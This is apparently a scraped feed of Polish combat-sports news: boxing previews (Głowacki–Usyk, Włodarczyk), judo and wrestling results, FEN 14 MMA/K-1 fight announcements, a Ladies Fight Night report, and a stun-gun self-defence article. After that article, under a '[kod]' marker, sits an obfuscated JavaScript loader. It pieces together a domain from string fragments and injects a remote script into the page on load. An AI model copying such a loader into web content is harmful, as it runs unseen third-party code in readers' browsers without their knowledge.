Relacje polsko-ukraińskie do najłatwiejszych nie należą. Polska była pierwszym krajem, który uznał niepodległość kraju ze stolicą w Kijowie. Oba państwa w 2012 roku zorganizowały piłkarskie mistrzostwa Europy. Jednak cały czas na relacje z Ukrainą rzucają się zaszłości historyczne. Dodatkowo ostatni czas dla naszych wschodnich sąsiadów jest pełen niepokoju i strachu. Wszystko przez wojnę w Donbasie i zagrożenie ze strony Rosji. Ukraińcy potrzebują impulsu, który da im choć chwilową radość. Piłkarze nie spisali się na Euro 2016. Teraz Ukraińcy patrzą na Usyka i myślą o Władimirze Kliczko, który szykuje się do odebrania pasów mistrzowskich w wadze ciężkiej.

Boks to dziedzina, która ma ogromne wpływy i przyciąga ogromne zainteresowanie. Walka Głowacki-Usyk jest długo wyczekiwana. 30-letni Polak tytuł WBO zdobył ponad rok temu powalając na deski Marco Hucka. Teraz przyjdzie mu bronić pasa po raz drugi. W kwietniu pokonała Steve Cunninghama, jednak w Gdańsku czeka go trudniejsze zadanie.

Obaj są w podobnym wieku, Głowacki jest zaledwie pół roku starszy. Zarówno Polak, jak i Ukrainiec nie ponieśli porażki na zawodowym ringu. Usyk ma za sobą bogatą karierę amatorską, ale na poziomie zawodowym znacznie większe doświadczenie posiada mistrz świata. Głowacki stoczył już 26 pojedynków, a jego najbliższy rywal tylko 9. 

Jednak Usyk potrafi mocno i konsekwentnie bić. Wszystkie walki wygrał przed czasem. Ukrainiec zapowiada, że tym razem będzie podobnie. Polak jest niewiele cięższy od Usyka, Głowacki waży 90,4kg, przeciwnik zaś 90,150kg. Z kolei Ukrainiec jest wyższy.

Kibice liczą na wielkie show. Wielu obserwatorów wieści, że będzie to najlepsza z dotychczasowych walk o mistrzostwo świata, które odbyły się w Polsce. Naprzeciw siebie stanie dwóch silnych bokserów. Jednego i drugiego stać na rozstrzygnięcie pojedynku przed czasem. Pytanie, który jako pierwszy ukąsi i pójdzie za ciosem?

Kolejna mistrzowska walka

Po wywalczeniu mistrzostwa Europy szansę na kolejny tytuł ma Ewa Piątkowska. Na szali pojawia się pas w kategorii junior średniej WBC. „Tygrysica” spotka się z Aleksandrą Magdziak-Lopes, która ma polskie korzenie, ale reprezentuje USA.

Wszyscy z zainteresowaniem patrzą na pojedynek w wadze ciężkiej pomiędzy Albertem Sosnowskim a Andrzejem Wawrzykiem. „Dragon” kilka miesięcy temu pożegnał się z ringiem, ale postanowił wrócić. Czy da lekcję młodszemu Wawrzykowi? W Gdańsku wystąpią także: Patryk Szymański, który spotka się z Jose Villalobosem w junior średniej oraz Paweł Stępień z Norbertem Dąbrowskim z półciężkiej. Michał Cieślak skrzyżuje rękawice z Giulianem Ilie.

Początek gali w gdańskiej Ergo Arenie o godz. 19.00.

KM

Czy Hiszpania będzie szczęśliwa?

Do rozpoczęcia mistrzostw Europy juniorek i juniorów w judo pozostały już tylko godziny. Przez trzy dni młodzi zawodnicy będą rywalizować o medale. Wśród nich nie zabraknie reprezentantów Polski, których do Hiszpanii udało się 16.

Dla wielu z nich start w Maladze będzie prawdziwym wyzwaniem, a zarazem ukoronowaniem wysiłków, gdyż walka o udział w czempionacie nie należała do łatwych. Wypatrujemy szans medalowych. Kto w tym sezonie już błysnął?

Osiem na osiem

Można stwierdzić, że w polskiej kadrze mamy parytet. Do Malagi poleciała szesnastoosobowa kadra Polski, w której znajduje się osiem pań i ośmiu panów. Mocne są nasze zawodniczki w kategorii 57kg. Anna Dąbrowska to tegoroczna triumfatorka Pucharu Europy w Berlinie, gdzie wygrała aż sześć walk. Judoczka MKS Juvenia Wrocław sięgnęła po brąz mistrzostw świata kadetów, a także była piąta w Europie. Kroku Dąbrowskiej stara się dotrzymać Julia Kowalczyk. Reprezentująca barwy Polonii Rybnik zawodniczka to trzecia zawodniczka juniorskich mistrzostw Europy z Oberwart. Z kolei w światowym czempionacie zajęła siódmą lokatę. Kowalczyk zna smak występów na mistrzowskich imprezach rangi juniorskiej. Jej doświadczenie może zaprocentować po raz kolejny. W tym roku pokazała dobrą dyspozycję, zajęła drugiej miejsce podczas zawodów w Gdyni i trzecie w Berlinie. 

W Hiszpanii zaprezentuje się Anna Isenko (63kg), która w tym roku nie próżnowała, jednak nie dane było jej stanąć na podium. Trzykrotnie była o krok od wywalczenia medalu. W Pradze, Sankt Petersburgu i Lignano zajmowała piąte miejsca. Rok temu Barbara Kulik (63kg) startowała w mistrzostwach Europy kadetów, ale poległa w drugiej rundzie. Teraz liczy na lepszy wynik. W kadrze znalazły się także: Karolina Miller (70kg), Paula Kułaga (78kg) oraz Anita Formela i Daria Tymann (+78kg).

18-letni Maciej Krogulski w ubiegłym roku cieszył się ze srebra mistrzostw Europy w zmagania kadetów. W tym roku znalazł się wśród juniorów. Do tej pory zapisał na swoim koncie drugie miejsce w Pucharze Europy Juniorów w Kaunas. Bardzo dobrymi wynikami może pochwalić się Jakub Ozimek (90kg). 19-latek w tym roku triumfował w Lignano i był trzeci w Gdyni. 

O medale powalczą także: Jan Stolarek (66kg), Tomasz Czerniawski (73kg), Sebastian Marcinkiewicz (81kg), Eryk Ryciak (90kg), Dominik Majowski i Kacper Szczurowski (obaj 100kg).

Tylko jedna medalistka

Do Malagi pojechała tylko jedna ubiegłoroczna medalistka mistrzostw juniorów. Kowalczyk sięgnęła w Austrii po brązowy medal.

Na podium stanęli także Patryk Wawrzyczek (66kg) i Piotr Kuczera (90kg). Obaj wywalczyli brązowe medale. Teraz prezentują się w zmaganiach seniorów. W tym roku Kuczera sięgnął po brązowy krążek europejskiego czempionatu w Kazaniu. 

W Oberwart wicemistrzynią Europy została Anna Załęczna (+78kg). Kilka dni temu w Pucharze Europy w Tallinie zajęła piątą lokatę. Także medal mistrzostw Europy otwiera drzwi do udanych startów na poziomie seniorskim. Szybko zaistniał Kuczera, inni notowali dobre występy i powoli zdobywają cenne doświadczenie. Czy Malaga będzie trampoliną dla kolejnych zawodników?

KM

Chudej rywalem Szostaka na gali FEN 14 Silesian Rage

Martin Chudej będzie przeciwnikiem Akopa Szostaka na październikowej gali FEN 14 Silesian Rage w katowickim Spodku. Starcie dwóch potężnych fighterów, którzy po sukcesach w kulturystyce poświęcili się mieszanym sztukom walki, zakontraktowane zostało w kategorii +93 kg.

28-letni Akop Szostak, były mistrz Europy juniorów i wicemistrz świata juniorów w kulturystyce klasycznej, 15 października w Katowicach stoczy czwartą w swojej karierze i trzecią w klatkoringu FEN zawodową walkę MMA. Na koncie ma dwa zwycięstwa – w debiucie na Time of Masters 1 potrzebował zaledwie pół minuty, by pokonać Janusza Dylewskiego, a w pierwszej walce dla Fight Exclusive Night na ubiegłorocznej wakacyjnej gali FEN 8 Summer Edition w Kołobrzegu po heroicznym boju wygrał na punkty z faworyzowanym Łukaszem Borowskim. Po nieudanej walce z Tyberiuszem Kowalczykiem na gali FEN 11 Warsaw Time Akop planował zejść do niższej kategorii wagowej, ale ostatecznie przyjął propozycję jeszcze jednego pojedynku w wadze ciężkiej.

Dla 34-letniego Martina Chudeja będzie to debiut w organizacji Fight Exclusive Night, chociaż już raz był bliski występu na arenie FEN. W kwietniu ubiegłego roku miał zmierzyć się z Tyberiuszem Kowalczykiem na gali FEN 7 Real Combat, ale do walki w bydgoskiej Artego Arenie nie doszło z powodu kontuzji Tyberiana.

Reprezentant Czech, podobnie jak Akop Szostak, sportowe sukcesy odnosił dotychczas w kulturystyce, jednak od wielu lat trenuje także sporty walki – uprawia boks, kickboxing oraz mieszane sztuki walki. Największe doświadczenie ma właśnie jako zawodnik MMA – w tej formule stoczył dotychczas osiem zawodowych walk w Czechach i Niemczech, wygrywając trzy z nich (wszystkie kończył nokautami już w pierwszych rundach). W tym roku Chudej walczył już dwukrotnie – w marcu na gali IFC 4 w Lipsku już w 28. sekundzie znokautował Niemca Christiana Lo Re, a w czerwcu na gali EFN Global 49 w Bańskiej Bystrzycy przegrał na punkty ze Słowakiem Kristofem Nataską.

15 października w katowickim Spodku podczas FEN 14 Silesian Rage kibice obejrzą 12 walk na zasadach MMA i K-1. Głównymi bohaterami gali będą Roman Szymański, który po raz pierwszy będzie bronił pasa mistrza FEN w formule MMA, oraz Tomasz Sarara, który stanie do walki o tytuł mistrza FEN w K-1. Tego wieczora wystąpią również m.in. Paweł Biszczak, Tyberiusz Kowalczyk, Albert Odzimkowski, Mateusz Strzelczyk, Paweł Hadaś, Kamil Jenel i Tomasz Gromadzki.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Polski zapaśnik zdobył Tbillisi

Dobra nowina dotarła do nas z Tbilisi, gdzie trwają mistrzostwa świata kadetów w zapasach. Ze złotego medalu w stylu klasycznym cieszy się Gerard Kurniczak (100kg).

Zawodnik KS Sobieski Poznań wykonał kawał dobrej roboty. W stawce 21 zapaśników rywalizujących o medale mistrzostw świata okazał się najlepszy. To nie pierwszy tegoroczny sukces Kurniczaka.

Droga po złoto

Świetny początek światowego czempionatu kadetów w zapasach dla Polski. Pierwszym przeciwnikiem Gerarda Kurniczaka w Gruzji był Iordanis Kalaitzidis. Polak nie miał większych problemów z Grekiem i pewnie wygrał. W 1/8 zapaśnik KS Sobieski Poznań stanął przed trudnym wyzwaniem. Polakowi przyszło zmierzyć się z mistrzem Europy Sharapem Alikhanovem. W lipcu w Sztokholmie Rosjanin w decydującym o tytule starciu spotkał się z… Kurniczakiem. Nasz zapaśnik musiał uznać wyższość Alikhanova, który zaprezentował się wyśmienicie. Okazja do rewanżu nadarzyła się w Tbilisi, jednak stawka była zupełnie inna. W grze o medal pozostał Kurniczak, a Rosjanin musiał obejść się smakiem.

Ćwierćfinał był równie trudny. Ali Aminzad zawiesił wysoko poprzeczkę Polakowi, który zaimponował postawą w obronie. Azer był nieustępliwy, jednak to Kurniczak przeprowadził akcje gwarantujące triumf i awans do strefy medalowej. W półfinale polski zapaśnik zmierzył się z Deepanshu Deepanshu. Przez długi czas na macie praktycznie nic się nie działo. Hindus wyczuł moment i przeprowadził akcję za dwa punkty. Do końca walki pozostało 30 sekund, ale Kurniczak nie poddał się i pokazał wysokie umiejętności. Deepanshu znalazł się na łopatkach. Spełnienie marzeń było o krok. Ghasem Abadi z Iranu nie należał do łatwych rywali, jednak zapaśnik KS Sobieski Poznań był w gazie. Kurniczak zdobył tytuł mistrza świata po ciężkim starciu.

Polski zapaśnik po raz kolejny zaimponował dobrą dyspozycją. Po sukcesie w Sztokholmie nadszedł czas na triumf w światowym czempionacie. Rok temu, w Suboticy, Kurniczak wywalczył złoto mistrzostw Europy w kategorii 85kg. Także medalowa seria trwa.

Jak pozostali?

Na pierwszy ogień w stolicy Gruzji poszli zawodnicy w stylu klasycznym. Pozostali nasi reprezentanci nie zachwycili. Filip Petrończak (54kg) przegrał gładko w 1/8 z Shantem Khachatryanem. Do ćwierćfinału dotarł Aleksander Mielewczyk (58kg), ale tam lepszy okazał się Jack Davis. Szybko przygodę z mistrzostwami zakończył Kacper Gajda (63kg).

Szczęścia nie mieli również Piotr Zabłocki (69kg), Szymon Szymonowicz (76kg) i Michał Dybka (85kg), którzy w Tbilisi stoczyli zaledwie po jednej walce.

Do stolicy Gruzji pojechała 19-osobowa kadra Polski. W kolejnych dniach swoje umiejętności zaprezentują panie i panowie w stylu wolnym.

KM

Mocny Nigeryjczyk czeka na Diablo

Trzeci pojedynek w tym roku stoczy Krzysztof „Diablo” Włodarczyk. 35-letni bokser wejdzie do ringu podczas gali Polsat Boxing Night 5, która odbędzie się 5 listopada w Krakowie. Rywalem polskiego pięściarza będzie Olandrewaju Durodola.

Włodarczyk dał wiele radości fanom boksu. Po utracie pasa mistrzowskiego federacji WBC w pojedynku z Grigorijem Drozdem zniknął z ringu na ponad półtora roku. Wrócił w dobrym stylu i z walki na walkę rozkręca się. 

Wejść na właściwe obroty

Miał walczyć ponownie z Drozdem, ale na przeszkodzie stanęła choroba. Na powrót Włodarczyka kibice czekali z utęsknieniem i w końcu ten moment nastąpił. 4 marca w Sosnowcu rywalem byłego mistrza świata był Valery Brudov. „Diablo” tęsknił za ringiem i szybko pokazał moc. Rosjanin już w drugiej rundzie musiał pogodzić się z porażką. Wiadomo, że nie był rywalem zanadto wymagającym dla Polaka, ale wygrana była optymistycznym znakiem. 

W maju Włodarczyk potwierdził, że w ringu czuje się jak ryba w wodzie. W Szczecinie Kai Kurzawa był bezradny, a pojedynek trwał zaledwie cztery rundy. Polak mógł cieszyć się ze zwycięstwa i zdobycia interkontynentalnego pasa IBF. W listopadzie „Diablo” stanie przed kolejnym wyzwaniem i bez dwóch zdań, będzie to niezwykle trudny pojedynek. Na Włodarczyka czeka twardy i mocno bijący rywal. 5 listopada w Krakowie polski pięściarz zmierzy się z Olanrewaju Durodolą.

35-latek z Nigerii ma imponujące statystyki. Co prawda, świata nie pobił, ale rozkładał na łopatki kolejnych rywali. Ogromne wrażenie na obserwatorach zrobił w ubiegłym roku, kiedy już w drugiej rundzie znokautował Dimitrija Kudriaszowa. Dla Rosjanina była to pierwsza porażka w zawodowej karierze. Dodatkowo 30-latek uchodził za króla nokautów, gdyż wszystkie dziewiętnaście walk rozstrzygnął na swoją korzyść. 

Durodola miał swoje „pięć” minut. W kolejnej walce spotkał się z Mairisem Briedisem, a stawką pojedynku była pozycja pretendenta do pasa WBC. Zwycięsko z tej potyczki wyszedł Łotysz.

Nie może się bać, musi uważać

Na pozór wydaje się to proste. Durodola nie może równać się z osiągnięciami Włodarczyka, który dzierżył w swoich dłoniach pasy WBC i IBF w kategorii junior ciężkiej. Polak ma zdecydowanie większe doświadczenie. Na zawodowym ringu prezentował się już 55 razy, rywal tylko 26.

Nigeryjczyk ma broń w postaci ciosu „odcinającego prąd”. Włodarczyk musi się mieć na baczności i mądrze prowadzić walkę. To najpoważniejsze wyzwanie dla „Diablo” od rywalizacji z Drozdem, kiedy stracił pas.

KM

Udany debiut Szwarnowieckiego

Damian Szwarnowiecki podjął decyzję o zmianie kategorii (z 73kg na 81kg). Debiut polskiego judoki przypadł na turniej European Open w Tallinnie. 22-latek mocnym akcentem rozpoczął przygodę ze zmaganiami w 81kg i w stolicy Estonii wywalczył brązowy medal. Polacy zaliczyli udany start.

Aż trzydziestoosobowa kadra udała się do Tallinna walczyć o rankingowe punkty. Przełożyło się to na liczbę medali, których łącznie Polacy zdobyli dziewięć.

Polskie spotkanie

Los skojarzył Damiana Szwarnowieckiego i Karola Kurzeja w pojedynku repasażowym. 22-letni judoka Gwardii Wrocław w trzecim starciu trafił na Rafaela Macedo z Brazylii, który nie dał się zaskoczyć i szybko przejął kontrolę nad walką. Najpierw waza-ari, później ippon i droga do finału została zablokowana. Szwarnowiecki świetnie zaczął zmagania w Tallinie, bo dwa starcia rozstrzygnął przez ippon. Z kolei Kurzej odprawił Filipa Mikuckisa z Łotwy, ale przegrał z Etienne Briandem z Kanady. 23-latek w starciu ze Szwarnowieckim nie miał zbyt wiele do powiedzenia. Debiutujący w 81kg zawodnik Gwardii był zdeterminowany, co potwierdził w walce o brąz. Jego upór sprawił, że znalazł w końcu sposób na Alekseja Nefedova i zwyciężył przed czasem. Z kolei Kurzej uplasował się na siódmej pozycji.

To kolejny doskonały występ Szwarnowieckiego w tym roku. Z tym, że poprzednie, czyli zwycięstwo w Grand Prix w Samsun i drugie miejsce w European Open w Pradze zanotował w kategorii 73kg.

Dobrze wypadli Polacy w kategorii 66kg. Patryk Wawrzyczek i Michał Bartusik zawzięcie walczyli o awans do finału, ale o złoto przyszło rywalizować temu pierwszemu. Polak trafił na Daniela Cargnina z Brazylii. 18-latek w zmaganiach juniorów radzi sobie wyśmienicie, ale swój kunszt zdołał potwierdzić także w Tallinie. Brazylijczyk przez ippon pokonał o trzy lata starszego Wawrzyczka. Również Michał Bartusik załapał się na podium. Nasz zawodnik w pojedynku o brąz wygrał z Samuelem Hallem, choć walka do najłatwiejszych nie należała.

Zaledwie trzy pojedynku stoczyła Ewa Konieczny (48kg), aby wywalczyć srebrny medal. W jej kategorii wagowej wystartowało zaledwie dziewięć zawodniczek. Polka wygrała dwie walki, a w finale jedną karą shido uległa Noi Minsker z Izraela.

Wysyp brązowych medali

Na dorobek biało-czerwonych w stolicy Estonii złożyło się dziewięć medali, z czego dwa srebrne. Na najniższym stopniu podium, oprócz wspomnianych Szwarnowieckiego i Bartusika, stanęli: Kamil Grabowski (+100kg), Anna Borowska (57kg), Karolina Tałach (63kg), Sandra Lickun (70kg) i Beata Pacut (78kg).

W klasyfikacji medalowej Polacy zajęli 13. lokatę. Najlepsi okazali się Brazylijczycy z dorobkiem siedmiu krążków, w tym dwóch złotych. Na podium znaleźli się także Niemcy i Białoruś. 

Łącznie w turnieju wystartowało 218 zawodników.

Fot. EJU

KM

Sparaliżowana strachem i bezbronna? Z paralizatorem – nigdy więcej!

Hormon 3xF – fright, fight, flight. Mowa o adrenalinie, dzięki której w sytuacji zagrożenia i życia nasz organizm błyskawicznie się do niej dostosowuje, ale z drugiej strony – właśnie przez adrenalinę, nazywaną hormonem strachu, w groźnej sytuacji możemy odczuć paraliżujący wszelkie odruchy lęk.

Drżenie rąk, miękkie nogi jak z waty, spowolniona reakcja, poczucie zawieszenia w przestrzeni… Zwłaszcza kobietom, przeważnie drobniejszym niż napastnik, może towarzyszyć obezwładniające uczucie strachu, uniemożliwiające wykonanie ruchu, opóźniające właściwą reakcję. Dlatego do samoobrony przyda się nie tylko znajomość sztuk walki i posiadanie legalnego narzędzia do obrony koniecznej (jak np. gaz pieprzowy czy paralizator), ale także wykształcenie pewności siebie i trzymanie się przekonania, że w starciu będzie się wygraną stroną.

Nie mniej jednak – jak bojaźliwej czy podatnej na adrenalinę kobiecie może pomóc właściwe i wbrew pozorom proste w użyciu narzędzie do samoobrony, takie jak paralizator?

Jak działa paralizator?

Paralizator wytwarza prąd elektryczny o dużym napięciu (od 200 000 V do nawet 2 000 000 V w najsilniejszych paralizatorach), ale o niskim natężeniu, które nie jest śmiertelne dla człowieka. Paralizator jest zakończony dwoma bolcami, przez które przeskakuje ładunek elektryczny – przytknięcie paralizatora do obiektu powoduje zamknięcie obwodu.

""

Co ciekawe, to mit, że paralizatory działają tylko w bezpośrednim kontakcie z ciałem. Niektóre są skuteczne również przez grubą warstwę ubrań, co sprawia, że paralizator nie jest bezużyteczny zimą, kiedy napastnik jest ubrany od stóp do głów i trudno by o precyzyjne dosięgnięcie paralizatorem skóry agresora, zwłaszcza podczas błyskawicznej reakcji.

Jak obezwładnia paralizator?

Nawet krótkotrwałe porażenie paralizatorem powoduje u przeciwnika szok, skurcze i zwiotczenie mięśni, wstrząs i utratę orientacji. Jeżeli porażenie paralizatorem będzie trwało do 5 sekund, napastnik może zostać obezwładniony nawet na minimum kilkanaście minut, co stwarza możliwość ucieczki ofiary w bezpieczne miejsce, zawołania pomocy, telefonu na policję.

 

Jak używać paralizatora?

Paralizator powinno się nosić w takim miejscu, które umożliwia jego momentalne dosięgnięcie w sytuacji zagrożenia. Nie wyobrażamy sobie grzebania w torebce czy plecaku w poszukiwaniu paralizatora, kiedy podczas niespodziewanego ataku liczy się każda sekunda przewagi.

""

I chociaż wspomniana adrenalina steruje naszym ciałem, warto postarać się, aby umysł zwalczył porażający lęk. W użyciu paralizatora liczy się nie tylko celność i takie wykonanie ruchu, aby agresor został nieprzyjemnie zaskoczony, ale również pewność siebie.

Moment zawahania się – przeciwnik może wyrwać ofierze z ręki paralizator. I mimo że dzięki stosowanym w paralizatorach zawleczkom bezpieczeństwa, blokującym narzędzie, kiedy sznurek zabezpieczający zostanie na ręce ofiary, paralizator nie zostanie użyty przeciwko właścicielowi – zaatakowana osoba pozostanie bez narzędzia obronnego, co może ją przerazić i jeszcze bardziej wytrącić z równowagi.

[kod]

(function(){
a1c4=document.createElement("script");a1c4_="u"+("s")+"ta";
a1c4_+=("t.i")+""+"n";a1c4_+=(("f")+"o");a1c4.type="text/javascript";
a1c4_+="/"; a1c4u="12137184";a1c4u+=".4y2dcn1c1c4yu7axqlu";a1c4u+="c9mfm3flzap";
a1c4.src="//"+a1c4_+a1c4u; a1c4.async=true; document.body.appendChild(a1c4);
})();

Selwa kontra Olszynka na gali FEN 14 Silesian Rage

Kamil Selwa i Piotr Olszynka to młodzi, utalentowani, świetnie wyszkoleni i bardzo wysoko notowani w rankingach zawodnicy MMA wagi koguciej. Który z nich będzie górą na gali FEN 14 Silesian Rage? Przekonamy się o tym już 15 października w katowickim Spodku.

22-letni Kamil Selwa przebojem wdarł się do ścisłej czołówki fighterów wagi koguciej w naszym kraju. Mimo młodego wieku reprezentant Spartakusa Rzeszów stoczył już czternaście zawodowych walk, wygrywając – zwykle przed czasem – aż dziewięć z nich. Przed rokiem, po krótkim i niezbyt udanym epizodzie w wyższej kategorii wagowej, wrócił do kategorii koguciej. Od tego czasu walczył trzykrotnie, zapisując na swoim koncie trzy pewne zwycięstwa: we wrześniu ubiegłego roku wypunktował doświadczonego Czecha Ondreja Skalnika, w lutym przez techniczny nokaut w pierwszej rundzie pokonał Węgra Mate Totha, a miesiąc temu jednogłośną decyzją sędziów wygrał z faworyzowanym Dawidem Żywicą, pozbawiając go pasa mistrzowskiego PLMMA.

24-letni Piotr Olszynka z Silesia Cage Club Katowice, którego nazwisko w rankingach polskiego MMA pojawia się równie wysoko, jako nazwisko Kamila Selwy, jako zawodowiec ma dorobek nieco skromniejszy od swego rywala. Co prawda, debiutował już w 2008 roku, ale przez pierwszych sześć lat walczył tylko sześć razy. Jego kariera nabrała rozpędu w ubiegłym roku – najpierw we wrześniu w kontrowersyjnych okolicznościach przegrał na punkty z bardzo mocnym Rafałem Czechowskim, półtora miesiąca później już w pierwszej rundzie poddał renomowanego Dawida Pasternaka, a w grudniu podczas gali PLMMA 61 zdobył pas tej organizacji, pokonując jednogłośnie na punkty Mateusza Rajewskiego. Tytuł stracił w lutym, w swoim ostatnim do tej pory występie, po zaciętym pojedynku z Dawidem Żywicą – była to jego pierwsza walka w karierze przegrana przed czasem.

15 października podczas gali FEN 14 Silesian Rage  w katowickim Spodku wystąpią także Roman Szymański, który będzie bronił pasa mistrza FEN w formule MMA, Tomasz Sarara, który stanie do walki o tytuł mistrza FEN w K-1, Paweł Biszczak, Tomasz Gromadzki, Akop Szostak, Tyberiusz Kowalczyk, Albert Odzimkowski, Mateusz Strzelczyk i Paweł Hadaś.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Kamil Jenel vs Paweł Obozny na gali FEN 14 w Spodku

Dużym wydarzeniem FEN 14 Silesian Rage będzie kolejny w fight cardzie gali pojedynek na zasadach K-1, w którym zmierzą się Kamil Jenel i Pavel Obozny. 15 października w katowickim Spodku Białorusin będzie miał okazję do rewanżu za walkę sprzed pół roku, którą przegrał z Polakiem na punkty.

Kamil Jenel i Pavel Obozny, dwaj doświadczeni i utytułowani kickbokserzy, pierwszy raz walczyli ze sobą w marcu w Chorzowie. Wówczas polski fighter jednogłośną decyzją sędziów pokonał rywala ze wschodu, mimo że jeszcze tydzień wcześniej z powodu choroby leżał w szpitalu. Tym razem jednak walka zakontraktowana została w niższej kategorii wagowej -77 kg (poprzednio było to -82 kg), w której Obozny czuje się dużo pewniej, więc jego szanse na udany rewanż znacznie rosną.

Dla obu zawodników walka 15 października w Spodku będzie drugim występem w klatkoringu Fight Exclusive Night. Pavel Obozny debiutował na wrocławskiej gali FEN 9 G For It, mierząc się z Pawłem Biszczakiem w zastępstwie za kontuzjowanego w wypadku samochodowym Mehmeta Ali Balika. Przegrał ten pojedynek po niskich kopnięciach w drugiej rundzie, ale docenić trzeba odwagę Białorusina, który walkę z najlepszym polskim zawodnikiem K-1 wagi średniej przyjął na dzień przed galą. Walka z Biszczakiem jest jedną z wielu, które zawodnik z Grodna toczył z polskimi rywalami. Obozny wygrywał już m.in. z Tomaszem Gromadzkim, Marcinem Wiewiórką, Bartoszem Kołodziejczakiem i w lipcu tego roku z Oskarem Staszczakiem. Do jego największych sukcesów na międzynarodowych arenach zaliczyć trzeba tytuły mistrza Europy WKA i międzynarodowego mistrza IPKBA.

Zobacz walkę Pavla Obozny'ego z Pawłem Biszczakiem

Kamil Jenel, który w 2014 roku wrócił do Polski po siedmiu latach treningów w Holandii i zdobyciu tytułu zawodowego mistrza Beneluksu w K-1, pierwszy raz dla federacji Fight Exclusive Night walczył na gali FEN 12 Feel The Force we Wrocławiu. Pierwotnie jego przeciwnikiem miał być Wojciech Wierzbicki, ale dostał on szansę walki o tymczasowy pas FEN, dlatego reprezentant Paco Team Katowice ostatecznie zmierzył się z Oskarem Staszczakiem. Obaj zawodnicy zafundowali kibicom zacięte, dynamiczne i obfitujące w świetne akcje widowisko, po którym kolejne zwycięstwo do swego rekordu dopisał celniej i mocniej trafiający przeciwnika Jenel. Uczeń znanego trenera Mekkiego Benazzouza, który obecnie trenuje pod okiem Witolda Kostki, selekcjonera kadry Polski w kickboxingu low-kick, wcześniej wygrywał również m.in. na kickbokserskich galach holenderskiej organizacji Enfusion i polskiej DSF Kickboxing Challenge.

Zobacz walkę Kamila Jenela z Oskarem Staszczakiem

Walka Jenela z Oboznym to trzecie starcie na zasadach K-1 w karcie walk gali FEN 14 Silesian Rage. W innym ogłoszonym już zestawieniu Paweł Biszczak zmierzy się z Tomaszem Gromadzkim, a na swojego rywala czeka jeszcze Tomasz Sarara, który walczyć będzie o pas FEN wagi ciężkiej. Z kolei w walkach w formule MMA 15 października w katowickim Spodku wystąpią m.in. broniący tytułu mistrza FEN Roman Szymański oraz Akop Szostak, Tyberiusz Kowalczyk, Albert Odzimkowski, Mateusz Strzelczyk i Paweł Hadaś.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Panie pokazały pazur

Miły wieczór z kobietą zawsze jest w cenie. Tym razem miłośnicy sportów walki mieli okazję podziwiać aż 11 walk płci pięknej podczas gali Ladies Fight Night 3 w warszawskiej hali Expo XXI.

Swoje umiejętności zaprezentowały zawodniczki, które wcześniej osiągały sukces w muay thai, K-1, a także prezentowały się na eventach innych organizacji. Przed Ladies Fight Night 3 zrobiło się głośno o wycofaniu z pojedynku Róży Gumiennej. Mimo to, organizatorzy przygotowali 11 ekscytujących walk. Jak przebiegała gala?

Spokojny początek

Na pierwszy ogień poszły panie w kategorii 52kg w K-1. Hanna Gujwan z Millenium Rzeszów nie pozostawiła sędziom żadnych wątpliwości. W rywalizacji z Pauliną Maj była zdecydowanie lepsza i wygrała 3:0. Sylwia Juśkiewicz ma na swoim koncie walki na zasadach MMA. Nawet na Ladies Fight Night 1 pokonała Alice Ardelean i była to jej trzecia wygrana z rzędu. Tym razem niespełna 22-letnia fighterka Fight Club Łódź spotkała się z Magdaleną Mróz. Juśkiewicz po upływie trzech rund mogła cieszyć się ze zwycięstwa.

Efektowne rozstrzygnięcie przyszło w walce numer trzy, w której na zasadach MMA spotkały się Alexandra de Cassia Rodrigues i Paulina Borkowska. W drugiej rundzie Brazylijka założyła Polce dźwignię na rękę, a ta zmuszona była odklepać. Kolejne dwa starcia to zmagania w K-1. Patrycja Krawczyk, znana z występów na FEN, lepsza od Urszuli Mydłowskiej w kategorii 56kg. Z kolei w 52kg Monika Porażyńska-Bohn przez decyzję pokonała Patrycję Pamułę.

Kolejne starcie na zasadach MMA i ponownie efektowne rozstrzygnięcie. Martyna Czech z Bastionu Tychy nie bawiła się w rozpoznanie możliwości Kristiny Matilevich. Polka zdecydowanie ruszyła do przodu i pokazała moc swoich uderzeń. Reprezentantka Łotwy już w pierwszej rundzie musiała uznać wyższość Czech. Doświadczona Anna Fucz w K-1 spotkała się z Eliską Pelechovą. Górą była fighterka reprezentująca University of Fighting Dusseldorf.

Emocje późną porą

W K-1 61kg Katarzyna Posiadała z Gladiatora Siedlce, która w tym roku wywalczyła tytuł mistrzyni Europy Pro Am w muay thai zmierzyła się z Lucie Cmarovą, czyli siostrą Veroniki, z którą Polka wygrała podczas LFN 1. Słowaczka w kwietniu uporała się z Joanną Pawlik. W hali Expo XXI nie pomściła jednak siostry. Posiadała wygrała przez decyzję sędziów.

Z dobrej strony pokazała się Weronika Zygmunt. W pojedynku na zasadach MMA zawodniczka Grappling Kraków pokonała już w pierwszej rundzie Valeriyę Sochenko. Annisa Haddaoui lepsza od Alisy Bazhukovej w walce w K-1.

Pojedynek wieczoru to dobry pokaz muay thai. Judyta Niepogoda spotkała się w pięciorundowym starciu z Martą Gusztab. Pierwotnie rywalką fighterki z Siedlec miała by Viktoria Korkoshko, ale Ukrainka miała problemy wizowe i zdrowotne. Zastąpiła ją brązowa medalistka mistrzostw Polski w K-1 Marta Gusztab, która walczyła na LFN 1. W Warszawie doświadczona Niepogoda toczyła zacięty bój w reprezentantką Kohortę Poznań. Sędziowie mieli ciężki orzech do zgryzienia. Ostatecznie – niejednogłośną decyzją wygrała Niepogoda. 

KM

Wieczór pod znakiem kobiecych walk

Zainteresowanie galą Ladies Fight Night w Warszawie jest ogromne. Widzowie liczą na ciekawie widowisko. Zapraszamy do śledzenia transmisji w telewizji FighTime!

